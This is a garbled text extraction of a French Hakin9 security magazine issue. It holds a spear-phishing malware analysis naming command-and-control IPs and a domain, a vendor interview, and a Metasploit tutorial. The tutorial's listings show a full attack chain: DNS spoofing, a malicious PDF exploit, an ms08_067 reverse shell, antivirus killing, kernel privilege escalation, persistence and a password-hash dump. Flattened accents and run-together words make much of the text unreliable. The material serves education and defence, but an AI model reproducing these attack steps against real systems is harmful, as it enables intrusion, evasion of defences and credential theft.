Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

